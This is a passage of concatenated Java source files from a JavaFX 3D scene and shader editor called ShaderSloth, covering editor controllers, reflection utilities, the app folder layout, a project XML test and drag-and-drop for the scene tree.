Application { private final static Logger Log = LoggerFactory.getLogger(App.class); private ShaderSlothController controller; @Override public void init() throws Exception { ApplicationContext.get().init(this, () -> Collections.emptyList()); Runtime.getRuntime().addShutdownHook(new Thread(ApplicationContext.get()::destroy)); Thread.setDefaultUncaughtExceptionHandler((t, e) -> { Log.error("Detect uncaught exception in [" + t.getName() + " Thread]", e); ExceptionDialog exceptionDialog = new ExceptionDialog(e); exceptionDialog.showAndWait(); Platform.exit(); }); } @Override public void start(final Stage primaryStage) { controller = new ShaderSlothController(primaryStage); controller.show(); controller.start(); } @Override public void stop() throws Exception { controller.stop(); ApplicationContext.get().destroy(); } public static void main(String[] args) { Log.info("Launching ShaderSlothRenderer"); /** * Improves the poor rendering results of javafx. * * @see <a href="http://comments.gmane.org/gmane.comp.java.openjdk.openjfx.devel/5072">Open JavaFX development Mailing list</a> */ System.setProperty("prism.lcdtext", "false"); System.setProperty("prism.text", "t2k"); launch(args); } } ``` GenericEditorController.java ```package eu.yvka.shadersloth.app.sceneEditor.genericEditor; import eu.yvka.shadersloth.app.App; import eu.yvka.shadersloth.app.ShaderSlothController; import eu.yvka.shadersloth.share.controller.AbstractController; import eu.yvka.slothengine.scene.Geometry; import eu.yvka.slothengine.scene.Node; import eu.yvka.slothengine.scene.light.Light; import javafx.scene.layout.StackPane; public class GenericEditorController extends AbstractController { private ShaderSlothController slothController; private GeometryEditorController geometryEditorController; private LightEditorController lightEditorController; private AbstractController activeController; private Node currentNode = null; public GenericEditorController(ShaderSlothController controller) { super(App.class.getResource("view/genericEditor.fxml")); this.slothController = controller; geometryEditorController = new GeometryEditorController(controller); lightEditorController = new LightEditorController(controller); } @Override protected void onFxmlLoaded() {} public void loadNode(Node node) { assert node != null; currentNode = node; StackPane container = (StackPane) getRoot(); if (node instanceof Geometry) { if (activeController != geometryEditorController) { container.getChildren().clear(); container.getChildren().add(geometryEditorController.getRoot()); activeController = geometryEditorController; } geometryEditorController.updateData((Geometry) node); } if (node instanceof Light) { if (activeController != lightEditorController) { container.getChildren().clear(); container.getChildren().add(lightEditorController.getRoot()); activeController = lightEditorController; } lightEditorController.updateData((Light) node); } } public void refresh() { if (currentNode != null) { loadNode(currentNode); } } } ``` ReflectionUtils.java ```package eu.yvka.shadersloth.share.utils; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import java.lang.annotation.Annotation; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.security.AccessController; import java.security.PrivilegedAction; import java.text.MessageFormat; import java.util.ArrayList; import java.util.Arrays; import java.util.List; import java.util.Objects; import java.util.function.Predicate; import java.util.stream.Collectors; import java.util.stream.Stream; public class ReflectionUtils { private static final Logger Log = LoggerFactory.getLogger(ReflectionUtils.class); /** * Retrieves a field instance by its name from a given class instance. * * @param fieldName the name of the desired field. * @param instance the instance which has the desired field. * @return the desired field or null if the given instance doesn't provide the desired field. */ public static Object getFieldValue(String fieldName, Object instance) { return getFieldValue(fieldName, instance.getClass(), instance); } /** * Retrieves a field value by its name from a given class instance. * * @param fieldName the name of the desired field. * @param cls the class which owns the desired field. * @param instance the instance which has the desired field. * @return the desired field or null if the given instance doesn't provide the desired field. */ public static Object getFieldValue(String fieldName, Class<?> cls, Object instance) { try { Field field = getFieldByName(fieldName, cls); return field.get(instance); } catch (NoSuchFieldException | IllegalAccessException e) { Log.warn(MessageFormat.format("\"{0}\" is not a accessible field of {1}.", fieldName, cls.getName()),e); } return null; } private static Field getFieldByName(String fieldName, Class<?> cls) throws NoSuchFieldException { Field field = cls.getDeclaredField(fieldName); field.setAccessible(true); return field; } /** * Retrieves a field value by * * @param field the field to obtain the value from * @param instance the instance which has the desired field. * @return the value of the desired field **/ public static Object getFieldValue(Field field, Object instance) { return AccessController.doPrivileged((PrivilegedAction<Object>) () -> { boolean naturalAccessStatus = field.isAccessible(); try { field.setAccessible(true); return field.get(instance); } catch (IllegalAccessException e) { throw new IllegalStateException("Could read value from field " + field, e); } finally { field.setAccessible(naturalAccessStatus); } }); } public static void setFieldValue(Field field, Object instance, Object value) { boolean naturalAccessStatus = field.isAccessible(); AccessController.doPrivileged((PrivilegedAction<Object>) () -> { try { field.setAccessible(true); field.set(instance, value); } catch (IllegalAccessException e) { throw new IllegalStateException("Could not set value field " + field, e); } finally { field.setAccessible(naturalAccessStatus); } return null; }); } public static void setFieldValue(String fieldName, Class<?> cls, Object instance, Object value) { try { Field field = getFieldByName(fieldName, cls); setFieldValue(field, instance, value); } catch (NoSuchFieldException e) { Log.warn(MessageFormat.format("\"{0}\" is not a accessible field of {1}.", fieldName, cls.getName()),e); } } /*** * Retrieve all Fields including all fields of the super classes as well. * * @param cls the class owns the desired fields * @return a list of all declared fields including all fields of the parent classes. */ public static List<Field> getAllFields(Class<?> cls) { List<Field> fields = new ArrayList<>(); Class <?> type = cls; while (type != null && !type.equals(Objects.class)) { fields.addAll(Arrays.asList(type.getDeclaredFields())); type = type.getSuperclass(); } return fields; } /*** * Retrieve all Methods including all methods of the super classes as well. * * @param cls the class owns the desired methods * @return a list of all declared methods including all methods of the parent classes. */ public static List<Method> getAllMethods(Class<?> cls) { return getAllMethods(cls, (m) -> true); } /*** * Retrieve all Methods including all methods of the super classes as well. * * @param cls the class owns the desired methods * @return a list of all declared methods including all methods of the parent classes. */ public static List<Method> getAllMethods(Class<?> cls, Predicate<Method> filter) { List<Method> methods = new ArrayList<>(); Class <?> type = cls; while (type != null && !type.equals(Objects.class)) { for (Method method : type.getDeclaredMethods()) { if (filter.test(method)) { methods.add(method); } } type = type.getSuperclass(); } return methods; } /*** * Retrieve all Methods including all methods of the super classes as well * and excludes all methods which doesn't have the specified annotation * present. * * @param cls the class owns the desired methods * @param annotation only methods with this annotation will be returned * @return a list of all declared methods including all methods of the parent classes. */ public static List<Method> getMethodsWithAnnotation(Class<?> cls, Class<? extends Annotation> annotation) { return getAllMethods(cls, (m) ->m.isAnnotationPresent(annotation)); } public static void invokeMethodsWithAnnotation(Class<?> cls, final Object bean, Class<? extends Annotation> annotation) { for(Method method : getMethodsWithAnnotation(cls, annotation)) { if (method.isAnnotationPresent(annotation)) { invokeMethod(bean, method); } } } /** * Invoke a method in the context of a bean object. * * @param bean the context bean * @param method the method to invoke * @param params optional list of */ public static Object invokeMethod(Object bean, Method method, Object...params) { final boolean naturalAccessState = method.isAccessible(); return AccessController.doPrivileged((PrivilegedAction<Object>) () -> { try { method.setAccessible(true); return method.invoke(bean, params); } catch (InvocationTargetException | IllegalAccessException ex) { throw new IllegalStateException("Could not invoke method " + method, ex); } finally { method.setAccessible(naturalAccessState); } }); } /** * Invoke a method in the context of a bean object. * * @param bean the context bean * @param methodName the name of the method to invoke * @param params optional list of */ public static Object invokeMethod(Object bean, String methodName, Object...params) throws NoSuchMethodException { Class<?> type = bean.getClass(); Class<?>[] paramTypes = Stream.of(params).map(Object::getClass).collect(Collectors.toList()).toArray(new Class[0]); Method method = type.getMethod(methodName); return invokeMethod(bean, method, params); } } ``` DIContext.java ```package eu.yvka.shadersloth.share.context; /** * Encapsulates an DI Injector */ public interface DIContext { void injectMembers(Object object); <T> T getInstance(Class<T> type); void destroy(); void init(); } ``` LoadMeshTask.java ```package eu.yvka.shadersloth.app.sceneEditor; import eu.yvka.slothengine.engine.Engine; import eu.yvka.slothengine.geometry.Mesh; import eu.yvka.slothengine.geometry.loader.MeshLoaderException; import javafx.concurrent.Task; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import java.io.File; /** * @Author Yves Kaufmann * @since 12.07.2016 */ public class LoadMeshTask extends Task<Mesh> { /****************************************************************************** * * Fields * ******************************************************************************/ private static final Logger Log = LoggerFactory.getLogger(LoadMeshTask.class); private File meshToLoad; /****************************************************************************** * * Constructors * ******************************************************************************/ /** * Creates a tasks for loading a mesh. * * @param pathToMesh */ public LoadMeshTask(String pathToMesh) { this(new File(pathToMesh)); } /*** * Creates a tasks for loading a mesh * @param meshToLoad */ public LoadMeshTask(File meshToLoad) { this.meshToLoad = meshToLoad; } @Override protected Mesh call() throws Exception { String path = meshToLoad.getAbsolutePath(); try { set(Engine.getMesh(path)); Log.info("Loaded mesh from " + path); } catch (MeshLoaderException ex) { Log.info("Failed to load mesh from " + path, ex); setException(ex); throw ex; } return getValue(); }; } ``` AppFolder.java ```package eu.yvka.shadersloth.app; import eu.yvka.shadersloth.share.utils.OperatingSystem; import java.io.File; /** * Created by fxdapokalypse on 10.06.2016. */ public class AppFolder { private static final String SHADER_SLOTH_APP_DIR = "ShaderSloth"; private static final String PROJECTS_FOLDER = "projects"; private static final String ASSETS_FOLDER = "assets"; private static final String ASSETS_TEXTURE_FOLDER = "textures"; private static final String ASSETS_MODEL_FOLDER = "models"; private static final String ASSETS_SHADER_FOLDER = "shaders"; static { prepareAppFolder(); } /****************************************************************************** * * Fields * ******************************************************************************/ /*** * The operating system which is running this application */ private static File appFolder; private static File assetsFolder; private static File textureFolder; private static File modelFolder; private static File shaderFolder; private static File projectsFolder; /****************************************************************************** * * Constructors * ******************************************************************************/ private AppFolder() {} /****************************************************************************** * * Public API * ******************************************************************************/ /** * Returns applications data folder of the current operating system, * which is a typical place where applications store there data. * * @return The application data folder or the working directory if the * operating system could not be determined. */ public static File getAppDirectory() { if (appFolder == null) { File installationDirectory = getInstallationDirectory(); System.out.println(installationDirectory); appFolder = new File(installationDirectory, SHADER_SLOTH_APP_DIR); } return appFolder; } public static File getAssetsFolder() { if (assetsFolder == null) { assetsFolder = new File(getAppDirectory(), ASSETS_FOLDER); } return assetsFolder; } public static File getAssetsTextureFolder() { if (textureFolder == null) { textureFolder = new File(getAssetsFolder(), ASSETS_TEXTURE_FOLDER); } return textureFolder; } public static File getAssetsModelFolder() { if (modelFolder == null) { modelFolder = new File(getAssetsFolder(), ASSETS_MODEL_FOLDER); } return modelFolder; } public static File getAssetsShaderFolder() { if (shaderFolder == null) { shaderFolder = new File(getAssetsFolder(), ASSETS_SHADER_FOLDER); } return shaderFolder; } public static File getProjectsFolder() { if (projectsFolder == null) { projectsFolder = new File(getAppDirectory(), PROJECTS_FOLDER); } return projectsFolder; } private static void prepareAppFolder() { if (! getAppDirectory().isDirectory()) { getAssetsTextureFolder().mkdirs(); getAssetsModelFolder().mkdirs(); getAssetsShaderFolder().mkdirs(); getProjectsFolder().mkdirs(); } } /****************************************************************************** * * Internal API * ******************************************************************************/ private static File getInstallationDirectory() { if (OperatingSystem.isWindows()) { return new File(System.getenv("APPDATA")); } if (OperatingSystem.isOSX()) { return new File(System.getProperty("user.home"), "/Library/Application Support/"); } if (OperatingSystem.isUnix()) { return new File((System.getProperty("user.home"))); } return new File(System.getProperty("user.dir")); } } ``` XMLProjectWriterTest.java ```package eu.yvka.shadersloth.app.project.loader; import eu.yvka.shadersloth.app.project.Project; import eu.yvka.shadersloth.app.project.ProjectImpl; import eu.yvka.shadersloth.app.project.XMLProjectReader; import eu.yvka.shadersloth.app.project.XMLProjectWriter; import eu.yvka.slothengine.engine.AppSettings; import eu.yvka.slothengine.engine.Engine; import eu.yvka.slothengine.geometry.primitives.Cube; import eu.yvka.slothengine.material.BasicMaterial; import eu.yvka.slothengine.math.Color; import eu.yvka.slothengine.scene.Geometry; import eu.yvka.slothengine.scene.Scene; import eu.yvka.slothengine.scene.camera.FreeCamera; import eu.yvka.slothengine.scene.light.PointLight; import eu.yvka.slothengine.utils.NameAlreadyInUseException; import org.joml.Vector3f; import org.junit.AfterClass; import org.junit.BeforeClass; import org.junit.Test; import java.io.File; import java.util.Random; import static org.junit.Assert.*;; /** * @Author Yves Kaufmann * @since 15.07.2016 */ public class XMLProjectWriterTest { public static File projectFile; private static Project testProject; @BeforeClass public static void setupProject() throws NameAlreadyInUseException { Engine.start(new AppSettings()); testProject = new ProjectImpl(); Scene scene = testProject.getScene(); float zoomLevel = 1.0f; Random rnd = new Random(); rnd.setSeed(System.nanoTime()); Geometry room = new Geometry("Room"); room.setPosition(new Vector3f(0.0f, 0.0f, 0.0f)); room.setScale(10.0f); room.setVisible(true); room.setMesh(new Cube()); scene.getRootNode().addChild(room); scene.getCamera().setPosition(0f, 5f, 10f); ((FreeCamera) scene.getCamera()).setTarget(new Vector3f(10.0f, 2.0f, -10.0f)); Geometry g = new Geometry("g"); g.setMesh(new Cube()); g.setPosition(-9.0f, 0.0f, 0.0f); g.setMaterial(new BasicMaterial()); room.addChild(g); PointLight point = new PointLight("Light 1"); point.setAttenuation(1.0f); point.setPosition(new Vector3f(0.0f, 5.0f, -2.0f)); point.setColor(new Color(1.0f, 0.0f, 0.0f, 1.0f)); point.setAttenuation(100.0f); scene.add(point); PointLight point2 = new PointLight("Light 2"); point2.setAttenuation(1.0f); point2.setPosition(new Vector3f(0.0f, 0.0f, 0.0f)); point2.setColor(new Color(1.0f, 1.0f, 1.0f, 1.0f)); point2.setAttenuation(20.0f); testProject.setName("test"); projectFile = new File(testProject.getProjectFolder(), "project.xml"); } @AfterClass public static void shutdown() { } @Test public void saveProject() throws Exception { XMLProjectWriter writer = new XMLProjectWriter(); writer.saveProject(testProject); assertTrue(testProject.getProjectFolder().exists()); assertTrue(projectFile.exists()); } @Test public void loadProject() throws Exception { XMLProjectReader reader = new XMLProjectReader(); Project loadedProject = reader.loadProject(projectFile); assertNotNull(loadedProject); assertEquals(testProject.getName(), loadedProject.getName()); assertEquals(testProject.getProjectFolder(), loadedProject.getProjectFolder()); } } ``` ProjectWriter.java ```package eu.yvka.shadersloth.app.project; import javax.xml.bind.JAXBContext; import java.io.File; import java.io.IOException; /** * @Author Yves Kaufmann * @since 15.07.2016 */ public interface ProjectWriter { public void saveProject(Project project) throws IOException; } ``` Validations.java ```package eu.yvka.shadersloth.app.controls.validation; import javafx.util.converter.NumberStringConverter; import org.controlsfx.validation.Severity; import org.controlsfx.validation.ValidationResult; import org.controlsfx.validation.Validator; import java.util.Locale; import static eu.yvka.shadersloth.share.I18N.I18N.getString; /** * @Author Yves Kaufmann * @since 12.07.2016 */ public class Validations { private static final NumberStringConverter numberStringConverter = new NumberStringConverter(Locale.getDefault()); public static <T> Validator<T> createEmptyValidator(String label) { Validator<T> emptyValidator = Validator.createEmptyValidator(getString("validation.required", prepareLabel(label))); return preventValidationOnHiddenFields(emptyValidator); } private static <T> Validator<T> preventValidationOnHiddenFields(Validator<T> emptyValidator) { return (c, value) -> { if (c.isDisabled() || c.isDisable() || !c.isVisible() || c.getScene() == null || c.getParent() == null) { System.out.println("yeah"); return ValidationResult.fromMessageIf(c, null, Severity.ERROR, false); } return emptyValidator.apply(c, value); }; } private static String prepareLabel(String label) { return label.replace(":", ""); } public static <T extends String> Validator<T> createMinimumValidator(String label, Number minValue) { return preventValidationOnHiddenFields(Validator.createPredicateValidator((T value) -> { try { Number number = numberStringConverter.fromString(value); return number.doubleValue() >= minValue.doubleValue(); } catch (Exception ex) {} return false; }, getString("validation.minimum", prepareLabel(label), minValue))); } } ``` ShaderSlothModule.java ```package eu.yvka.shadersloth.app; import com.google.inject.AbstractModule; import com.google.inject.Provides; import com.google.inject.Singleton; import com.google.inject.TypeLiteral; import com.google.inject.matcher.AbstractMatcher; import com.google.inject.spi.InjectionListener; import com.google.inject.spi.TypeEncounter; import com.google.inject.spi.TypeListener; import eu.yvka.shadersloth.app.preferences.GlobalUserPreferences; import eu.yvka.shadersloth.app.project.ProjectManager; import eu.yvka.shadersloth.share.utils.ReflectionUtils; import eu.yvka.shadersloth.share.controller.AbstractController; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import javax.annotation.PostConstruct; import java.lang.reflect.Method; /*** * This module contains all xmlbinding for the ShaderSlothRenderer. * * For more information about guice injection modules * see: https://github.com/google/guice/wiki/GettingStarted. */ public class ShaderSlothModule extends AbstractModule { private Logger Log = LoggerFactory.getLogger(ShaderSlothModule.class); @Override protected void configure() { bind(ProjectManager.class).asEagerSingleton(); ensurePostConstructIsInvoked(); } @Singleton @Provides GlobalUserPreferences provideGlobalUserPreferences() { GlobalUserPreferences pref = new GlobalUserPreferences(); pref.readFromJavaPreference(); return pref; } private void ensurePostConstructIsInvoked() { // ensures that PostConstruct is invoked after initialization. bindListener(new AbstractMatcher<TypeLiteral<?>>() { @Override public boolean matches(TypeLiteral<?> typeLiteral) { return true; } }, new TypeListener() { @Override public <I> void hear(TypeLiteral<I> type, TypeEncounter<I> encounter) { encounter.register((InjectionListener<I>) injectee -> { if (! (injectee instanceof AbstractController)) { boolean wasInitialized = false; for (Method method : ReflectionUtils.getMethodsWithAnnotation(injectee.getClass(), PostConstruct.class)) { ReflectionUtils.invokeMethod(injectee, method); wasInitialized = true; } if (wasInitialized) { Log.info("Initialized " + injectee.getClass().getSimpleName()); } } }); } }); } } ``` GeometryEditorController.java ```package eu.yvka.shadersloth.app.sceneEditor.genericEditor; import eu.yvka.shadersloth.app.App; import eu.yvka.shadersloth.app.ShaderSlothController; import eu.yvka.shadersloth.app.controls.NumberInput; import eu.yvka.shadersloth.app.project.Project; import eu.yvka.shadersloth.share.controller.AbstractController; import eu.yvka.slothengine.engine.Engine; import eu.yvka.slothengine.material.Material; import eu.yvka.slothengine.math.MathUtils; import eu.yvka.slothengine.scene.Geometry; import javafx.fxml.FXML; import javafx.scene.control.ChoiceBox; import javafx.scene.control.SingleSelectionModel; import javafx.scene.control.TextField; import javafx.util.StringConverter; import org.joml.Vector3f; import java.util.Optional; public class GeometryEditorController extends AbstractController { @FXML private TextField nodeId; @FXML private NumberInput xPosition; @FXML private NumberInput yPosition; @FXML private NumberInput zPosition; @FXML private NumberInput xScale; @FXML private NumberInput yScale; @FXML private NumberInput zScale; @FXML private NumberInput xRotation; @FXML private NumberInput yRotation; @FXML private NumberInput zRotation; @FXML ChoiceBox<Material> materialChooser; private Optional<Geometry> selectedNode = Optional.empty(); private final ShaderSlothController slothController; public GeometryEditorController(ShaderSlothController controller) { super(App.class.getResource("view/modelEditor.fxml")); this.slothController = controller; } @Override protected void onFxmlLoaded() { nodeId.textProperty().addListener((currentId, oldId, newId) -> { selectedNode.ifPresent((node) -> { node.setId(newId); slothController.getSceneTreeEditorController().notifyUpdate(); }); }); xPosition.valueProperty().addListener((observable, oldValue, newValue) -> { selectedNode.ifPresent((node) -> node.getPosition().x = newValue.floatValue()); }); yPosition.valueProperty().addListener((observable, oldValue, newValue) -> { selectedNode.ifPresent((node) -> node.getPosition().y = newValue.floatValue()); }); zPosition.valueProperty().addListener((observable, oldValue, newValue) -> { selectedNode.ifPresent((node) -> node.getPosition().z = newValue.floatValue()); }); xScale.setMinValue(0.0); xScale.valueProperty().addListener((observable, oldValue, newValue) -> { selectedNode.ifPresent((node) -> node.getScale().x = newValue.floatValue()); }); yScale.setMinValue(0.0); yScale.valueProperty().addListener((observable, oldValue, newValue) -> { selectedNode.ifPresent((node) -> node.getScale().y = newValue.floatValue()); }); zScale.setMinValue(0.0); zScale.valueProperty().addListener((observable, oldValue, newValue) -> { selectedNode.ifPresent((node) -> node.getScale().z = newValue.floatValue()); }); xRotation.valueProperty().addListener((observable, oldValue, newValue) -> { selectedNode.ifPresent((node) -> node.getRotation().rotationX(MathUtils.toRadians(newValue.floatValue()))); }); yRotation.valueProperty().addListener((observable, oldValue, newValue) -> { selectedNode.ifPresent((node) -> node.getRotation().rotationY(MathUtils.toRadians(newValue.floatValue()))); }); zRotation.valueProperty().addListener((observable, oldValue, newValue) -> { selectedNode.ifPresent((node) -> node.getRotation().rotationZ(MathUtils.toRadians(newValue.floatValue()))); }); initMaterialChooser(); } private void initMaterialChooser() { materialChooser.setConverter(new StringConverter<Material>() { @Override public String toString(Material object) { return object.getMaterialName(); } @Override public Material fromString(String materialName) { return null; } }); materialChooser.valueProperty().addListener((observable, oldMaterial, newMaterial) -> { if (newMaterial == null || oldMaterial == newMaterial) return; selectedNode.ifPresent((node) -> Engine.runWhenReady(() -> node.setMaterial(newMaterial))); }); } private void reloadMaterials() { SingleSelectionModel<Material> selectionModel = materialChooser.getSelectionModel(); Material selection = selectionModel.getSelectedItem(); final Material previousSelectedValue = materialChooser.getValue(); final Project project = slothController.getProject(); materialChooser.getItems().setAll(project.getMaterials()); if (selection != null && materialChooser.getItems().contains(selection)) { selectionModel.select(selection); } else { selectionModel.selectFirst(); } } public void updateData(Geometry node) { selectedNode = Optional.of(node); nodeId.setText(node.getId()); Vector3f position = node.getPosition(); Vector3f scale = node.getScale(); Vector3f rotation = new Vector3f(); node.getRotation().getEulerAnglesXYZ(rotation); xPosition.setValue(position.x); yPosition.setValue(position.y); zPosition.setValue(position.z); xRotation.setValue(MathUtils.toDegrees(rotation.x)); yRotation.setValue(MathUtils.toDegrees(rotation.y)); zRotation.setValue(MathUtils.toDegrees(rotation.z)); xScale.setValue(scale.x); yScale.setValue(scale.y); zScale.setValue(scale.z); reloadMaterials(); materialChooser.setValue(node.getMaterial()); } } ``` SceneTreeCell.java ```package eu.yvka.shadersloth.app.sceneEditor; import eu.yvka.shadersloth.app.App; import eu.yvka.shadersloth.app.renderView.ShaderSlothRenderer; import eu.yvka.slothengine.engine.Engine; import eu.yvka.slothengine.scene.Geometry; import eu.yvka.slothengine.scene.Node; import eu.yvka.slothengine.scene.Scene; import eu.yvka.slothengine.scene.light.Light; import javafx.event.Event; import javafx.event.EventHandler; import javafx.geometry.Point2D; import javafx.scene.control.*; import javafx.scene.effect.Glow; import javafx.scene.image.Image; import javafx.scene.image.ImageView; import javafx.scene.input.*; import javafx.scene.layout.*; import javafx.scene.paint.Color; import org.controlsfx.tools.Borders; import java.io.Serializable; import java.util.Collections; import java.util.Objects; import java.util.function.Predicate; public class SceneTreeCell extends TreeCell<Node> { private static final DataFormat SERIALIZED_MIME_TYPE = new DataFormat("application/x-java-serialized-object"); private Image bulbIcon = null; private Image sceneIcon = null; private Image meshIcon = null; private SceneTreeEditorController sceneTreeEditorController = null; public SceneTreeCell(SceneTreeEditorController sceneTreeEditorController) { this.sceneTreeEditorController = sceneTreeEditorController; initDragAndDrop(); setContextMenu(createTreeContextMenu()); } public void initDragAndDrop() { setOnDragDetected((e) -> { int index = SceneTreeCell.this.getIndex(); if (index >= 0) { Dragboard dragboard = getTreeView().startDragAndDrop(TransferMode.MOVE); ClipboardContent cc = new ClipboardContent(); // store the index of the item we want to move cc.put(SERIALIZED_MIME_TYPE, index); dragboard.setContent(cc); dragboard.setDragView(snapshot(null, null)); e.consume(); } }); setOnDragOver((e) -> { Dragboard dragboard = e.getDragboard(); int srcIndex = (int) dragboard.getContent(SERIALIZED_MIME_TYPE); int curIndex = getIndex(); System.out.println(srcIndex); int dragBehind = isDragBehind(e, srcIndex, curIndex); // if we change the sibling order we can ignore index changes while // dragBehind is currently not complete implemented if (dragBehind != 0 && false) { if (dragBehind < 0) { setStyle("-fx-border-width: 1px 0 0 0; -fx-border-color: black; -fx-border-style: dashed;"); } else { setStyle("-fx-border-width: 0 0 1px 0; -fx-border-color: black; -fx-border-style: dashed;"); } e.acceptTransferModes(TransferMode.MOVE); e.consume(); // Change parent / child relationship } else { setUnderline(true); setStyle("-fx-border-width: 1px; -fx-border-color: black; -fx-border-style: dashed;"); if (isDropAcceptable(dragboard, getTreeView())) { e.acceptTransferModes(TransferMode.MOVE); e.consume(); } } }); setOnDragExited((e) -> { setUnderline(false); setEffect(null); setStyle(null); setBorder(null); e.consume(); }); setOnDragDropped((e) -> { final Dragboard dragboard = e.getDragboard(); int index = (int) dragboard.getContent(SERIALIZED_MIME_TYPE); int dragBehind = isDragBehind(e, index, getIndex()); TreeItem<Node> srcNodeItem = getTreeView().getTreeItem(index); TreeItem<Node> targetNodeItem = getTarget(getTreeView(), getTreeItem()); // change only parent relationship if (dragBehind == 0) { // change view model only srcNodeItem.getParent().getChildren().remove(srcNodeItem); targetNodeItem.getChildren().add(srcNodeItem); Node srcNode = srcNodeItem.getValue(); Node targetNode = targetNodeItem.getValue(); // move the srcNode to its new parent once the engine isn't rendering anymore Engine.runWhenReady(() -> { srcNode.getParent().removeChild(srcNode); targetNode.addChild(srcNode); }); } e.setDropCompleted(true); e.consume(); }); } private boolean isDropAcceptable(Dragboard dragboard, TreeView<Node> treeView) { boolean isAcceptable = false; if (dragboard.hasContent(SERIALIZED_MIME_TYPE)) { int srcIndex = (int) dragboard.getContent(SERIALIZED_MIME_TYPE); int curIndex = getIndex(); // srcElement and target element are not the same element if (srcIndex != curIndex) { TreeItem<Node> srcItem = treeView.getTreeItem(srcIndex); TreeItem<Node> curItem = treeView.getTreeItem(curIndex); TreeItem<Node> tgtItem = getTarget(treeView, curItem); // prevent loops in the scene graph isAcceptable = !isParent(srcItem, tgtItem) && srcItem.getParent() != tgtItem && // ... and that lights have no children !(tgtItem.getValue() instanceof Light); } } return isAcceptable; } private TreeItem<Node> getTarget(TreeView<Node> treeView, TreeItem<Node> curItem) { TreeItem<Node> tgtItem = treeView.getRoot(); if (! isEmpty()) { tgtItem = curItem; } return tgtItem; } private boolean isParent(TreeItem parent, TreeItem child) { boolean isParentNode = false; while (!isParentNode && child != null) { isParentNode = child.getParent() == parent; child = child.getParent(); } return isParentNode; } private int isDragBehind(DragEvent e, int srcIndex, int curIndex) { final Point2D sceneCoordinates = localToScene(0d, 0d); double centerY = getHeight() * 0.5f; double yOffset = e.getSceneY() - (sceneCoordinates.getY()) - centerY; // when the dragged node cursor is near the edge // then we want to enable sibling order changes boolean changeSiblingOrder = Math.abs(yOffset) > centerY * 0.70 && Math.abs(srcIndex - curIndex) > 1; if (changeSiblingOrder) { return yOffset < 0 ? -1 : 1; } return 0; } @Override protected void updateItem(Node item, boolean empty) { super.updateItem(item, empty); if(item == null || empty) { setText(null); setGraphic(null); } if (item != null && !empty) { setText(item.getId()); setGraphic(chooseGraphicByNode(item)); } } private javafx.scene.Node chooseGraphicByNode(Node item) { ImageView imageView = null; if (isRootNode(item)) { if (sceneIcon == null) { sceneIcon = new Image(App.class.getResource("images/project_icon_16x16.png").toExternalForm()); } imageView = new ImageView(sceneIcon); } if (Geometry.class.isInstance(item)) { if (meshIcon == null) { meshIcon = new Image(App.class.getResource("images/mesh_icon_16x16.png").toExternalForm()); } imageView = new ImageView(meshIcon); } if (Light.class.isInstance(item)) { if (bulbIcon == null) { bulbIcon = new Image(App.class.getResource("images/bulb_icon_16x16.png").toExternalForm()); } imageView = new ImageView(bulbIcon); } imageView.setDisable(true); return imageView; } private boolean isRootNode(Node item) { return item.getParent() == null; } private ContextMenu createTreeContextMenu() { Menu newMenu = new Menu("New"); MenuItem newGeometryMenu = new MenuItem("Geometry"); MenuItem newLightMenu = new MenuItem("Light"); MenuItem deleteMenuItem = new MenuItem("Delete"); newGeometryMenu.setOnAction(sceneTreeEditorController::onNewGeometry); newLightMenu.setOnAction(sceneTreeEditorController::onNewLight); deleteMenuItem.setOnAction(sceneTreeEditorController::onRemoveEntry); ContextMenu contextMenu = new ContextMenu(newMenu, deleteMenuItem); Predicate<Node> isLight = (node) -> node != null && (node instanceof Light); contextMenu.setOnShown((e) -> { if (isLight.test(getItem())) { newMenu.getItems().clear(); newMenu.setVisible(false); } else { newMenu.getItems().setAll(newLightMenu, newGeometryMenu); newMenu.setVisible(true); } TreeItem<Node> root = getTreeView().getRoot(); TreeItem<Node> curItem = getTreeItem(); boolean isRootElement = Objects.equals(root, curItem); deleteMenuItem.setVisible(! isRootElement && !isEmpty()); e.consume(); }); return contextMenu; } } ``` ActionTrigger.java ```package eu.yvka.shadersloth.share.actions.annotations; import java.lang.annotation.ElementType; import java.lang.annotation.Retention; import java.lang.annotation.RetentionPolicy; import java.lang.annotation.Target; @Target(ElementType.FIELD) @Retention(RetentionPolicy.RUNTIME) public @interface ActionTrigger { String actionIdentifier(); } ``` ProjectConstants.java ```package eu.yvka.shadersloth.app.project; /** * @author Yves Kaufmann * @since 16.07.2016 */ public class ProjectConstants { public static final String PROJECT_TAG = "project"; public static final String PROJECT_ATTR_NAME = "name"; public static final String PROJECT_ATTR_FOLDER = "projectFolder"; public static final String SCENE_TAG = "scene"; public static final String CAMERA_TAG = "camera"; public static final String CLASS_ATTR = "class"; public static final String POSITION_TAG = "position"; public static final String VECTOR_ATTR_X = "x"; public static final String VECTOR_ATTR_Y = "y"; public static final String VECTOR_ATTR_Z = "z"; public static final String VECTOR_ATTR_W = "w"; public static final String DIRECTION_TAG = "direction"; public static final String ROTATION_TAG = "rotation"; public static final String LIGHTS_TAG = "lights"; public static final String LIGHT_TAG = "light"; public static final String LIGHT_ATTR_TYPE = "lightType" ; public static final String VALUE_ATTR = "value"; public static final String LIGHT_ATTENTION_TAG = "attenuation"; public static final String COLOR_TAG = "color"; public static final String COLOR_ATTR_R = "r"; public static final String COLOR_ATTR_G = "g"; public static final String COLOR_ATTR_B = "b"; public static final String COLOR_ATTR_A = "a"; public static final String ID_ATTR = "id"; public static final String SCALE_TAG = "scale"; public static final String NODES_TAG = "nodes"; public static final String NODE_TAG = "node"; public static final String CHILDREN_TAG = "children"; } ``` ShaderErrorAppender.java ```package eu.yvka.shadersloth.app.materialEditor.shaders.errors; import java.util.List; /** * @Author Yves Kaufmann * @since 13.07.2016 */ public class ShaderErrorAppender<E> { private List<E> list; protected void append(E eventObject) { list.add(eventObject); } synchronized public void setModel(List<E> list) { this.list = list; } } ``` Controller.java ```package eu.yvka.shadersloth.share.controller.annotations; import java.lang.annotation.ElementType; import java.lang.annotation.Retention; import java.lang.annotation.RetentionPolicy; import java.lang.annotation.Target; /** * Specifies information about a controllers. */ @Retention(RetentionPolicy.RUNTIME) @Target(ElementType.TYPE) public @interface Controller { /** * Specifies the title of controllers, * the title will be rendered in the action bar. */ String title(); /** * Icon which will be displayed in link buttons * which leads to this controllers view. * * @return a utf8 escaped character which defines the icon. */ String icon() default ""; } ``` ShaderEditor.java ```package 